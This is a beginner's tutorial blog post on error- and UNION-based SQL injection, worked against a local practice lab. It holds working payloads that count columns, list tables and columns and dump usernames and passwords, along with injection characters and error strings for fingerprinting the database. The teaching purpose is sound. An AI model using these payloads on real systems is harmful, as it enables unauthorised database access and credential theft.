Beginner’s Guide to SQL Injection (Part 1)

[Lucky]

SQL injection is a technique where a malicious user can inject SQL Commands into an SQL statement via a web page.

An attacker could bypass authentication, access, modify and delete data within a database. In some cases, SQL Injection can even be used to execute commands on the operating system, potentially allowing an attacker to escalate to more damaging attacks inside of a network that sits behind a firewall.

List of Database

• MySQL(Open source),
• MSSQL,
• MS-ACCESS,
• Oracle,
• Postgre SQL(open source),
• SQLite,

Type of SQL Injection

• In Band
• Out of Band
• Blind SQLI

SQLI Exploitation Technique

• Error Based Exploitation
• Union Based Exploitation
• Boolean Based Exploitation
• Time-Based Delay Exploitation
• Out of Band Exploitation

Try to Identify- where the application interact with DB

• Authentication Page
• Search Fields
• Post Fields
• Get Fields
• HTTP Header
• Cookie

Basic SQL Functions

SELECT read data from the database based on search criteria
INSERT insert new data into the database
UPDATE update existing data based on given criteria
DELETE delete existing data based on given criteria
Order By used to sort the result-set in ascending or descending order
Limit By the statement is used to retrieve records from one or more tables

SQL Injection Characters

1 Character String Indicators ‘ or “
2 Multiple-line comment /*….*/
3 Addition, concatenate ( or space in URL) +
4 Single-line comment # or – -(hyphen hyphen)
5 Double pipe (concatenate) ||
6 Wildcard attribute indicator %
7 Local variable @variable
8 Global variable @@variable
9 Time delay waitfor delay ’00:00:10’
10 String instead of a number or vice versa

Database Fingerprinting

We can find out the database by analyzing the error.

S.no Error Type of Database
1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 MySQL
2 ORA-00933: SQL command not properly ended Oracle
3 Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string MS SQL

First, download sqli lab from here and set up in xampp Open SQLI labs

Loading…

github.com

Click on Setup/reset Database for labs

Before jumping into Dhakkan lab

Let’s first understand the basics. (How query gets executed at backend? How queries are formed? How can we break them? What exactly is SQL injection?

Consider a login page where you are requested to enter username and password when you enter username and password a query (SQL query) is generated at the backend which gets executed and the result is displayed to us on the home page after login.

Username – Raj

Password – Chandel

So backend query will look like

SELECT * FROM table_name WHERE username=’Raj’ AND password=’Chandel’;

It is totally on the developer how he enclosed the parameter value in the SQL query, he can enclose the parameter value in a single quote, double quotes, double quotes with bracket etc.

So query may look like

SELECT * FROM table_name WHERE username='Raj' AND password='Chandel';
SELECT * FROM table_name WHERE username=(’Raj’) AND password=(’Chandel’);
SELECT * FROM table_name WHERE username="Raj" AND password="Chandel";
SELECT * FROM table_name WHERE username=("Raj") AND password=("Chandel");

Or in any form totally developer’s choice.

I’ll explain further using the first query.

Q – What if I enter username = Raj’?

Ans – If I enter username=Raj’ backend query will look like

SELECT * FROM table_name WHERE username=’Raj’’ AND password=’Chandel’;

Which is syntactically wrong because of an extra quote

Q- How can we fix this broken query? Is it possible to do so?

Ans – Yes it is possible to fix above query even with username = Raj’

We can do so by commenting out the entire query after Raj’

So our valid query will be

SELECT * FROM table_name WHERE username=’Raj’

Which is syntactically correct

Q- How to comment out the remaining query?

Ans – Well it depends on the database that is there at the backend.

We generally use –+ (hyphen hyphen plus), # (hash)

So if I enter username = Raj’–+

The complete query at backend will look like

SELECT * FROM table_name WHERE username=’Raj’–+’ AND password=’Chandel’;

But our database will read and execute only

SELECT * FROM table_name WHERE username=’Raj’ this much query because everything after –+ will be commented and will not be interpreted as part of the query.

This is what is called SQL INJECTION. Changing the backend query using malicious input.

I don’t know if you guys are having an interesting doubt or not but I had when I was learning all these stuff, and the doubt is

According to the above query formed by commenting, we don’t need a valid password to login?

Yes if the developer had not taken measure to prevent SQL injection and implemented the query as shown above it is possible to login using the only username.

Confused? Don’t be. I’ll show you this in my upcoming articles. Now you are ready for the lab, so let’s start.

Click on lesson 1 and add id as a parameter in the URL

Keep on increasing id value (id=1, id=2…and so on) you will notice you will get an empty screen with no username and password after id=14 which means the database has 14 records.

So backend query must be something like this

SELECT * from table_name WHERE id='1';
Or
SELECT * from table_name WHERE id=('1');
Or
SELECT * from table_name WHERE id="1";

At this point, we don’t know how the developer enclosed the value of the id parameter. Let’s find out

Break the query by fuzzing, enter id=1’

Boom!! We get the SQL Syntax error. Since this error will help us in finding the back end query and we will do SQL injection using this error, this type of SQL Injection is called Error Based SQL Injection

Now we have to analyze the error See screenshot

You can also find out this using escape character, in MySQL \ (backslash) is used to escape a character.

Escaping a character means to nullify the special purpose of that character. You will get a clearer picture using the escape character

It is clear from the above screenshots that backend query

Less-1       -        SELECT * from table_name WHERE id=’our input’
Less-2       -        SELECT * from table_name WHERE id=our input
Less-3       -        SELECT * from table_name WHERE id=(’our input’)
Less-4       -        SELECT * from table_name WHERE id=(“our input”)

From now I’ll take Less-1 as a base lesson to explain further

With our input as 1’ complete backend query will be

SELECT * from table_name WHERE id=’1’’ LIMIT 0,1

Which is syntactically incorrect and I explained above how to make is syntactically correct

By giving input 1’–+ (1 quote hyphen hyphen plus)

Or By giving input 1’–%20 (%20 URL encoding for space)

Or By giving input 1’%23 (%23 URL encoding for #)

http://localhost/sqli/Less-1/?id=1' --%20

http://localhost/sqli/Less-1/?id=1' %23

http://localhost/sqli/Less-1/?id=1' --+

Now we are able to break the query and are able to fix it syntactically.

What Next?

Now we will try to add query between the quote and –+ to get information from the database

We’ll use another SELECT query here to get information from the database.

Q – Will two SELECT queries work together?

ANS – NO, we have to use the UNION operator to make it work.

The UNION operator is used to combine the result-set of two or more SELECT statements.

But for UNION operator there is one precondition that Number of columns on both sides of the UNION operator should be same.

Since we don’t know the number of columns in the SELECT query at the backend so first, we have to find the number of columns used in the SELECT query.

For this, we will use ORDER BY clause.

ORDER BY clause will arrange the result set in ascending or descending order of the columns used in the query.

ORDER BY country à will arrange the result set in asc order of elements of the column (country)

Now the problem is we even don’t know the names of the column…

Solution to this problem is in ORDER BY clause…

We’ll use ORDER BY 1, ORDER BY 2 etc. because ORDER BY 1 will arrange the result set in ascending order of the column present at first place in the query. (Please note, ORDER BY 1 will not arrange the result set according to the first column of the table, it will arrange the result set in ascending order of the column present at first place in the query).

Let’s try now

http://localhost/sqli/Less-1/?id=1' order by 1 --+    No Error

http://localhost/sqli/Less-1/?id=1' order by 2 --+    No Error

http://localhost/sqli/Less-1/?id=1' order by 4 --+    Error

This shows that there is no 4th column in the query. So now we know there are 3 columns in the query at the backend.

So now we can use the UNION operator with another SELECT query.

http://localhost/sqli/Less-1/?id=1' union select 1,2,3 --+

See there is no error but we are getting result set of the first query, to get the result of a second select query on the screen we have to make the result set of the first query as EMPTY. This we can achieve by providing the id that does not exist. We can provide negative id or id >14 because in the starting of the article we figured out that there are 14 ids in the database.

http://localhost/sqli/Less-1/?id=-1' union select 1,2,3 --+
Or
http://localhost/sqli/Less-1/?id=15' union select 1,2,3 --+

This shows we are getting values of column 2 and column 3 as output. So we’ll use these two columns to extract information about the database and from the database.

http://localhost/sqli/Less-1/?id=-1' union select 1,2,version() --+

This will give the version of the database used at the backend

http://localhost/sqli/Less-1/?id=-1' union select 1,database(),version() --+

This will give the database we are using and the current version of the database used at the backend

Since we are using UNION operator to perform SQL INJECTION, this type of injection is called UNION BASED SQL INJECTION ( a type of ERROR BASED SQL INJECTION)

Union Based SQL Injection

Variable/function Output
user() Current User
database() Current Database
version() Database Version
schema() Current Database
UUID() System UUID Key
current_user() Current User
system_user() Current System User
session_user() Session User
@@hostname Current Hostname
@@tmpdir Temporary Directory
@@datadir Data Directory
@@version Version of Database
@@basedir Base Directory
@@GLOBAL.have_symlink Check if the symlink is Enabled or Disabled
@@GLOBAL.have_ssl Check if it SSL is available

In order for union injections to work, we should first know the name of tables in the database and for this type :

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

As you know see that the above query will show us the name of one of the tables in the database. For instance: emails

Now, sometimes programmer may not print all the rows so we will have to check these rows of database one by one using the limit keyword. Therefore, type:

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

As you can see that the second table in the database is referers.

Similarly, let’s check the next table name.

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1 --+

This was one method to check table names, one by one, another method is getting all the table names once and together by using group concat keyword. This keyword presents all the table name as group. For this type :

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

And as a result, which you can observe in the above image, all the table names will be shown together.

Now let’s check one of the tables presented to us. To extract information from a tables type:

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

As you can see the above statement shows all the columns together due to the use of the group_concat keyword. Also, we are using the word ‘column’ instead of ‘table’ because we want to know the column of a table now.

Till now we have extracted different names of databases and its tables. Now let’s see the content of a table. For this type:

id=-1' union select 1,group_concat(username),3 from users --+

The above statement will show us all the usernames from the table users. Now let’s check the passwords for these usernames. Type :

id=-1' union select 1,group_concat(password),3 from users --+

And like this, you will have passwords to your usernames. There is another method to see usernames and passwords together with the following statement :

id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Author – Rinkish Khera is a Web Application security consultant who loves competitive coding, hacking and learning new things about technology. Contact Here